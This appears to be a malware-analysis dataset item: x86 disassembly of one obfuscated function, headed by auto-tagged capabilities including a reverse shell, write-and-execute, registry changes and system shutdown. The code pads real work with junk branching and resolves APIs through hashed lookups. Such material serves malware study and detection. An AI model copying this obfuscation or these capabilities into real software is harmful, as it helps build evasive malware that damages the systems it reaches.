Function at 0x42ffa0
Capabilities:
Accept command line arguments
Clear file content
Create pipe
Create process on windows
Create reverse shell
Create thread
Delete file
Enumerate files on windows
Get common file path
Get file attributes
Get graphical window text
Get thread local storage value
Query environment variable
Query or enumerate registry value
Read file on windows
Read pipe
Resolve dns
Set environment variable
Set registry value
Set thread local storage value
Shutdown system
Terminate process
Terminate thread
Write and execute a file
Write file on windows
Write pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x140
mov dword [ebp - 0x18], 0xa4e1
mov dword [ebp - 0x38], 0x65c6
mov dword [ebp - 0x20], 0x12039
mov dword [ebp - 0x28], 0xac6f
mov dword [ebp - 0x64], 0x164a
mov dword [ebp - 0x40], 0x1901
mov dword [ebp - 0x34], 0xfcd1
mov dword [ebp - 4], 0x11c60
mov dword [ebp - 0x24], 0xf463
mov dword [ebp - 0x14], 0x138a3
mov dword [ebp - 0x60], 0xc1d7
mov dword [ebp - 0x4c], 0x4b2f
mov dword [ebp - 0x44], 0x5c00
mov dword [ebp - 0x50], 0x11822
mov dword [ebp - 0x10], 0xcf40
mov dword [ebp - 8], 0xe37c
mov dword [ebp - 0xc], 0x9b1
mov dword [ebp - 0x3c], 0x10412
mov dword [ebp - 0x48], 0x17651
mov dword [ebp - 0x1c], 0xb0c0
mov dword [ebp - 0x30], 0x126c5
mov dword [ebp - 0x2c], 0xb396
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x48]
jge 0x430053
mov ecx, dword [ebp - 0x1c]
cmp ecx, dword [ebp - 0x20]
jl 0x43006b
mov edx, dword [ebp - 0x34]
cmp edx, dword [ebp - 0x30]
jge 0x430121
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0x10]
jge 0x430121
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp - 0x64]
jge 0x430121
mov edx, dword [ebp - 0x20]
add edx, 1
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x20]
xor eax, dword [ebp - 0x10]
jne 0x430118
mov ecx, dword [ebp - 0x1c]
sub ecx, 1
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x48]
sub edx, dword [ebp - 0x1c]
jne 0x430118
mov eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 0x30]
jl 0x430118
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0xbc], ecx
mov edx, dword [ebp - 8]
mov dword [ebp - 0xc0], edx
mov eax, dword [ebp - 0x3c]
add eax, 1
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0xbc]
cmp ecx, dword [ebp - 0xc0]
jl 0x430118
mov edx, dword [ebp - 0x28]
mov dword [ebp - 0xc4], edx
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0xc8], eax
mov ecx, dword [ebp - 0x28]
sub ecx, 1
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0xc4]
cmp edx, dword [ebp - 0xc8]
jge 0x430103
mov dword [ebp - 0xa4], 1
jmp 0x43010d
mov dword [ebp - 0xa4], 0
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0xa4]
je 0x430121
mov ecx, dword [ebp - 0x18]
sub ecx, 1
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x10]
sub edx, 1
mov dword [ebp - 0x10], edx
cmp dword [0x7c226c], 0
jne 0x43015b
push 0xb071
push 0x1242
push 0x1d7d
push 0x3e8a
call fcn.0040aef0
add esp, 0x10
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [0x7c226c], eax
call fcn.00407170
mov eax, dword [ebp - 0x2c]
add eax, 0x4fd2
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 4]
sub ecx, dword [ebp - 0x2c]
mov dword [ebp - 4], ecx
jmp 0x43017f
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0x40]
jge 0x4301dc
mov ecx, dword [ebp - 0x24]
add ecx, 1
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x14]
sub edx, 1
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x24]
add eax, 1
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x30]
sub ecx, dword [ebp - 0x60]
cmp ecx, dword [ebp - 0x24]
jge 0x4301b6
mov edx, dword [ebp - 0x2c]
add edx, 1
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x18]
sub eax, 1
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x28]
sub ecx, 1
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0x48]
add edx, 1
mov dword [ebp - 0x48], edx
mov eax, dword [ebp - 0x24]
sub eax, 1
mov dword [ebp - 0x24], eax
jmp 0x430176
mov ecx, dword [ebp - 0xc]
add ecx, 0x290d
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 8]
sub edx, dword [ebp - 0xc]
mov dword [ebp - 8], edx
jmp 0x4301fc
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
cmp ecx, dword [ebp - 0x1c]
jge 0x4303ac
mov edx, dword [ebp - 0x20]
add edx, 1
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0xcc], eax
mov ecx, dword [ebp - 0x30]
mov dword [ebp - 0xd0], ecx
mov edx, dword [ebp - 0x30]
add edx, 1
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0xcc]
cmp eax, dword [ebp - 0xd0]
jge 0x430243
mov ecx, dword [ebp - 0x10]
add ecx, 1
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x14]
cmp edx, dword [ebp - 0x20]
jge 0x43025c
mov eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x60]
jge 0x43025c
mov ecx, dword [ebp - 0x50]
sub ecx, 1
mov dword [ebp - 0x50], ecx
mov edx, dword [ebp - 0xc]
sub edx, 1
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x20]
jge 0x430276
mov ecx, dword [ebp - 0x34]
sub ecx, 1
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp - 0x60]
cmp edx, dword [ebp - 0x30]
jl 0x4302af
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0xd4], eax
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0xd8], ecx
mov edx, dword [ebp - 0x44]
sub edx, 1
mov dword [ebp - 0x44], edx
mov eax, dword [ebp - 0xd4]
cmp eax, dword [ebp - 0xd8]
jl 0x4302af
mov ecx, dword [ebp - 0x64]
or ecx, dword [ebp - 0x20]
je 0x4302e4
mov edx, dword [ebp - 0x28]
cmp edx, dword [ebp - 0x48]
jge 0x4302bf
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x18]
jl 0x4302c7
mov ecx, dword [ebp - 0x64]
cmp ecx, dword [ebp - 0x50]
jge 0x4302e4
mov edx, dword [ebp - 0x14]
sub edx, 1
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x14]
imul eax, dword [ebp - 0x38]
test eax, eax
je 0x4302e4
mov ecx, dword [ebp - 0x20]
sub ecx, 1
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x34]
add edx, 1
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x4c]
sub eax, 1
mov dword [ebp - 0x4c], eax
mov ecx, dword [ebp - 0x38]
mov dword [ebp - 0xdc], ecx
mov edx, dword [ebp - 0x30]
mov dword [ebp - 0xe0], edx
mov eax, dword [ebp - 0x38]
add eax, 1
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0xdc]
cmp ecx, dword [ebp - 0xe0]
jge 0x43039e
mov edx, dword [ebp - 0x14]
or edx, dword [ebp - 0x2c]
je 0x43039e
mov eax, dword [ebp - 0x24]
add eax, dword [ebp - 0xc]
je 0x43039e
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp - 0x24]
jge 0x430343
mov dword [ebp - 0xa8], 1
jmp 0x43034d
mov dword [ebp - 0xa8], 0
mov edx, dword [ebp - 0x2c]
or edx, dword [ebp - 0xa8]
jne 0x43036c
mov eax, dword [ebp - 0x38]
imul eax, dword [ebp - 0x4c]
cmp eax, dword [ebp - 0x60]
jl 0x43036c
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [ebp - 0x20]
jge 0x43039e
mov edx, dword [ebp - 0x60]
sub edx, dword [ebp - 0x2c]
cmp edx, dword [ebp - 0x40]
jge 0x430382
mov eax, dword [ebp - 0x30]
imul eax, dword [ebp - 0x3c]
test eax, eax
jne 0x43038a
mov ecx, dword [ebp - 0x44]
and ecx, dword [ebp - 0x24]
je 0x43039e
mov edx, dword [ebp - 0x40]
add edx, dword [ebp - 0x38]
cmp edx, dword [ebp - 0x30]
jge 0x43039e
mov eax, dword [ebp - 4]
sub eax, 1
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
jmp 0x4301f3
call fcn.00409950
mov edx, dword [ebp - 4]
add edx, 0x24f
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x34]
add eax, dword [ebp - 4]
mov dword [ebp - 0x34], eax
jmp 0x4303d1
mov ecx, dword [ebp - 0x34]
add ecx, 1
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp - 0x34]
cmp edx, dword [ebp - 0x50]
jge 0x430694
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0x10]
jl 0x4303f1
mov ecx, dword [ebp - 0x44]
cmp ecx, dword [ebp - 0x64]
jge 0x43055b
mov edx, dword [ebp - 0x38]
cmp edx, dword [ebp - 0x20]
jl 0x430435
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0xc]
jge 0x43055b
mov ecx, dword [ebp - 8]
and ecx, dword [ebp - 0x40]
mov dword [ebp - 0xe4], ecx
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0xe8], edx
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0xe4]
cmp ecx, dword [ebp - 0xe8]
jge 0x43055b
mov edx, dword [ebp - 0x1c]
add edx, dword [ebp - 0x10]
mov dword [ebp - 0xec], edx
mov eax, dword [ebp - 0x1c]
add eax, 1
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0xec], 0
je 0x43045b
mov ecx, dword [ebp - 0x18]
cmp ecx, dword [ebp - 0x38]
jl 0x4304bc
mov edx, dword [ebp - 0x28]
add edx, dword [ebp - 0x40]
mov dword [ebp - 0xf0], edx
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0xf4], eax
mov ecx, dword [ebp - 0x40]
add ecx, 1
mov dword [ebp - 0x40], ecx
mov edx, dword [ebp - 0xf0]
cmp edx, dword [ebp - 0xf4]
jl 0x4304bc
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0x60]
jl 0x4304bc
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0xf8], ecx
mov edx, dword [ebp - 0x3c]
mov dword [ebp - 0xfc], edx
mov eax, dword [ebp - 0x3c]
sub eax, 1
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0xf8]
cmp ecx, dword [ebp - 0xfc]
jge 0x43055b
mov edx, dword [ebp - 0x20]
cmp edx, dword [ebp - 0x28]
jge 0x43055b
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 8]
mov dword [ebp - 0x100], ecx
mov edx, dword [ebp - 0x18]
mov dword [ebp - 0x104], edx
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x100]
cmp ecx, dword [ebp - 0x104]
jge 0x43055b
mov edx, dword [ebp - 0x3c]
cmp edx, dword [ebp - 0xc]
jge 0x43055b
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0x60]
je 0x43055b
mov ecx, dword [ebp - 0x24]
imul ecx, dword [ebp - 0x1c]
cmp ecx, dword [ebp - 0x4c]
jge 0x430529
mov edx, dword [ebp - 0x3c]
cmp edx, dword [ebp - 0x18]
jge 0x430529
mov eax, dword [ebp - 0x44]
cmp eax, dword [ebp - 0x10]
jl 0x430552
mov ecx, dword [ebp - 0x48]
mov dword [ebp - 0x108], ecx
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x10c], edx
mov eax, dword [ebp - 0x48]
sub eax, 1
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp - 0x108]
cmp ecx, dword [ebp - 0x10c]
jge 0x43055b
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 8]
cmp eax, dword [ebp - 0x1c]
jge 0x430579
mov ecx, dword [ebp - 0x4c]
imul ecx, dword [ebp - 0x40]
test ecx, ecx
je 0x430579
mov edx, dword [ebp - 0x30]
cmp edx, dword [ebp - 0x10]
jl 0x430581
mov eax, dword [ebp - 0x44]
cmp eax, dword [ebp - 0x14]
jge 0x43058a
mov ecx, dword [ebp - 0x18]
sub ecx, 1
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 8]
and edx, dword [ebp - 4]
jne 0x4305b0
mov eax, dword [ebp - 0x1c]
add eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x14]
jl 0x4305b0
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [ebp - 0x64]
jl 0x4305b0
mov edx, dword [ebp - 0xc]
xor edx, dword [ebp - 0x30]
cmp edx, dword [ebp - 0x28]
jge 0x4305b9
mov eax, dword [ebp - 0x1c]
sub eax, 1
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0x14]
sub edx, 1
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x28]
sub eax, 1
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x18]
sub ecx, 1
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x28]
sub edx, 1
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x44]
cmp eax, dword [ebp - 8]
jge 0x4305f7
mov ecx, dword [ebp - 0x10]
add ecx, 1
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
cmp edx, dword [ebp - 0x40]
jge 0x43060b
mov dword [ebp - 0xac], 1
jmp 0x430615
mov dword [ebp - 0xac], 0
mov eax, dword [ebp - 0x20]
xor eax, dword [ebp - 0xac]
jne 0x430686
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
cmp edx, dword [ebp - 0x28]
jge 0x43063d
mov dword [ebp - 0xb0], 1
jmp 0x430647
mov dword [ebp - 0xb0], 0
mov eax, dword [ebp - 0x14]
and eax, dword [ebp - 0xb0]
mov dword [ebp - 0x110], eax
mov ecx, dword [ebp - 0x14]
add ecx, 1
mov dword [ebp - 0x14], ecx
cmp dword [ebp - 0x110], 0
je 0x430673
mov edx, dword [ebp - 0x30]
imul edx, dword [ebp - 0x64]
test edx, edx
jne 0x430686
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x38]
jge 0x43068f
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp - 0x28]
jge 0x43068f
mov edx, dword [ebp - 8]
sub edx, 1
mov dword [ebp - 8], edx
jmp 0x4303c8
mov eax, dword [0x7c2280]
push eax
mov ecx, dword [0x7c2270]
push ecx
mov edx, dword [0x7c227c]
push edx
mov eax, dword [0x7c2268]
push eax
mov ecx, dword [0x7c226c]
push ecx
push 0xe2ba
push 0x4e3
push 0x7cdb
push 0x1600
push 0x7446
push 0xc4f0
push 0x8ca6
push 0x6aa5
push 0xc4be
push 0x44c3
call fcn.00428ab0
add esp, 0x28
push eax
mov edx, dword [0x7c226c]
push edx
call fcn.00431010
add esp, 8
call eax
test eax, eax
je 0x430ff7
call fcn.00422350
mov eax, dword [ebp - 0xc]
add eax, 0x278
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x2c]
add ecx, dword [ebp - 0xc]
mov dword [ebp - 0x2c], ecx
jmp 0x43072d
mov edx, dword [ebp - 0x2c]
add edx, 1
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x2c]
cmp eax, dword [ebp - 0x14]
jge 0x4307e0
mov ecx, dword [ebp - 0x34]
sub ecx, 1
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp - 0x38]
add edx, 1
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0x4c]
sub eax, 1
mov dword [ebp - 0x4c], eax
mov ecx, dword [ebp - 0x10]
sub ecx, 1
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x18]
add edx, 1
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x1c]
sub eax, 1
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x50]
sub ecx, 1
mov dword [ebp - 0x50], ecx
mov edx, dword [ebp - 0x20]
or edx, dword [ebp - 0x24]
je 0x4307db
mov eax, dword [ebp - 0x10]
xor eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 4]
jge 0x4307db
mov ecx, dword [ebp - 0x18]
imul ecx, dword [ebp - 0xc]
test ecx, ecx
je 0x4307db
mov edx, dword [ebp - 8]
add edx, dword [ebp - 0x38]
je 0x4307db
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x114], eax
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x118], ecx
mov edx, dword [ebp - 0x3c]
add edx, 1
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x114]
cmp eax, dword [ebp - 0x118]
jge 0x4307db
mov ecx, dword [ebp - 0x10]
add ecx, dword [ebp - 0x40]
cmp ecx, dword [ebp - 0x44]
jge 0x4307db
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
jmp 0x430724
cmp dword [0x7c226c], 0
je 0x430ff7
mov dword [ebp - 0x78], 0xab4d
mov dword [ebp - 0x94], 0x133ef
mov dword [ebp - 0x88], 0x12464
mov dword [ebp - 0x130], 0x386d
mov dword [ebp - 0x138], 0x12ffc
mov dword [ebp - 0x124], 0xfdb2
mov dword [ebp - 0x98], 0x8baf
mov dword [ebp - 0x68], 0x1797e
mov dword [ebp - 0x58], 0x42d4
mov dword [ebp - 0x8c], 0xc9e
mov dword [ebp - 0x84], 0xa29a
mov dword [ebp - 0x11c], 0x5ad0
mov dword [ebp - 0x7c], 0x12579
mov dword [ebp - 0x74], 0x1556
mov dword [ebp - 0x54], 0x15cc3
mov dword [ebp - 0x90], 0x11272
mov dword [ebp - 0xa0], 0x709a
mov dword [ebp - 0x5c], 0x147ad
mov dword [ebp - 0x6c], 0x7ff1
mov dword [ebp - 0x70], 0x17790
mov dword [ebp - 0x80], 0xf5a6
mov dword [ebp - 0x9c], 0xca30
mov eax, dword [ebp - 0x5c]
sub eax, 0x10cf9
mov dword [ebp - 0x5c], eax
mov ecx, dword [ebp - 0x78]
sub ecx, dword [ebp - 0x5c]
mov dword [ebp - 0x78], ecx
jmp 0x4308ca
mov edx, dword [ebp - 0x78]
add edx, 1
mov dword [ebp - 0x78], edx
mov eax, dword [ebp - 0x78]
cmp eax, dword [ebp - 0xa0]
jge 0x430b12
mov ecx, dword [ebp - 0x58]
sub ecx, 1
mov dword [ebp - 0x58], ecx
mov edx, dword [ebp - 0x5c]
sub edx, 1
mov dword [ebp - 0x5c], edx
mov eax, dword [ebp - 0x6c]
cmp eax, dword [ebp - 0x84]
jge 0x430981
mov ecx, dword [ebp - 0x74]
cmp ecx, dword [ebp - 0x70]
jge 0x430981
mov edx, dword [ebp - 0x54]
cmp edx, dword [ebp - 0x94]
jge 0x430919
mov dword [ebp - 0xb4], 1
jmp 0x430923
mov dword [ebp - 0xb4], 0
mov eax, dword [ebp - 0x80]
or eax, dword [ebp - 0xb4]
je 0x430981
mov ecx, dword [ebp - 0x74]
add ecx, 1
mov dword [ebp - 0x74], ecx
mov edx, dword [ebp - 0x74]
sub edx, dword [ebp - 0x88]
cmp edx, dword [ebp - 0x11c]
jge 0x430957
mov eax, dword [ebp - 0x8c]
imul eax, dword [ebp - 0x80]
cmp eax, dword [ebp - 0x68]
jl 0x430978
mov ecx, dword [ebp - 0x7c]
add ecx, dword [ebp - 0x84]
mov dword [ebp - 0x120], ecx
mov edx, dword [ebp - 0x7c]
add edx, 1
mov dword [ebp - 0x7c], edx
cmp dword [ebp - 0x120], 0
je 0x430981
mov eax, dword [ebp - 0x70]
add eax, 1
mov dword [ebp - 0x70], eax
mov ecx, dword [ebp - 0x58]
or ecx, dword [ebp - 0x80]
jne 0x4309a5
mov edx, dword [ebp - 0x6c]
sub edx, dword [ebp - 0x84]
cmp edx, dword [ebp - 0x9c]
jge 0x4309ae
mov eax, dword [ebp - 0x5c]
imul eax, dword [ebp - 0x54]
test eax, eax
je 0x4309ae
mov ecx, dword [ebp - 0x6c]
add ecx, 1
mov dword [ebp - 0x6c], ecx
mov edx, dword [ebp - 0x98]
add edx, dword [ebp - 0x68]
je 0x430a99
mov eax, dword [ebp - 0x58]
imul eax, dword [ebp - 0x80]
cmp eax, dword [ebp - 0x68]
jl 0x4309e6
mov ecx, dword [ebp - 0x90]
imul ecx, dword [ebp - 0x68]
test ecx, ecx
jne 0x4309e6
mov edx, dword [ebp - 0x5c]
or edx, dword [ebp - 0x94]
je 0x430a99
mov eax, dword [ebp - 0x84]
and eax, dword [ebp - 0x9c]
je 0x430a18
mov ecx, dword [ebp - 0x88]
sub ecx, 1
mov dword [ebp - 0x88], ecx
mov edx, dword [ebp - 0x124]
imul edx, dword [ebp - 0x88]
cmp edx, dword [ebp - 0x8c]
jl 0x430a8a
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x128], eax
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x12c], ecx
mov edx, dword [ebp - 0x54]
sub edx, 1
mov dword [ebp - 0x54], edx
mov eax, dword [ebp - 0x128]
cmp eax, dword [ebp - 0x12c]
jge 0x430a50
mov dword [ebp - 0xb8], 1
jmp 0x430a5a
mov dword [ebp - 0xb8], 0
mov ecx, dword [ebp - 0x74]
xor ecx, dword [ebp - 0xb8]
je 0x430a73
mov edx, dword [ebp - 0x130]
cmp edx, dword [ebp - 0x98]
jl 0x430a8a
mov eax, dword [ebp - 0x70]
sub eax, 1
mov dword [ebp - 0x70], eax
mov ecx, dword [ebp - 0x90]
sub ecx, dword [ebp - 0x70]
cmp ecx, dword [ebp - 0x6c]
jge 0x430a99
mov edx, dword [ebp - 0x8c]
add edx, 1
mov dword [ebp - 0x8c], edx
mov eax, dword [ebp - 0x90]
add eax, 1
mov dword [ebp - 0x90], eax
mov ecx, dword [ebp - 0x74]
cmp ecx, dword [ebp - 0x98]
jge 0x430b0d
mov edx, dword [ebp - 0x54]
add edx, 1
mov dword [ebp - 0x54], edx
mov eax, dword [ebp - 0x68]
sub eax, dword [ebp - 0x54]
mov dword [ebp - 0x134], eax
mov ecx, dword [ebp - 0x68]
sub ecx, 1
mov dword [ebp - 0x68], ecx
cmp dword [ebp - 0x134], 0
je 0x430b0d
mov edx, dword [ebp - 0x58]
cmp edx, dword [ebp - 0x7c]
jge 0x430b0d
mov eax, dword [ebp - 0x58]
sub eax, 1
mov dword [ebp - 0x58], eax
mov ecx, dword [ebp - 0x9c]
sub ecx, dword [ebp - 0x58]
je 0x430b0d
mov edx, dword [ebp - 0x7c]
and edx, dword [ebp - 0x94]
cmp edx, dword [ebp - 0x5c]
jge 0x430b0d
mov eax, dword [ebp - 0x6c]
add eax, 1
mov dword [ebp - 0x6c], eax
jmp 0x4308c1
call fcn.0042fef0
call fcn.0042a120
mov ecx, dword [ebp - 0xa0]
sub ecx, 1
mov dword [ebp - 0xa0], ecx
call fcn.0041f830
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
call dword [sym.imp.ADVAPI32.dll_InitiateSystemShutdownA]
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call dword [sym.imp.KERNEL32.dll_HeapFree]
call dword [sym.imp.KERNEL32.dll_SwitchToThread]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
call dword [sym.imp.KERNEL32.dll_InterlockedPushEntrySList]
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.004062f0
mov edx, dword [ebp - 0x1c]
sub edx, 1
mov dword [ebp - 0x1c], edx
mov esp, ebp
pop ebp
ret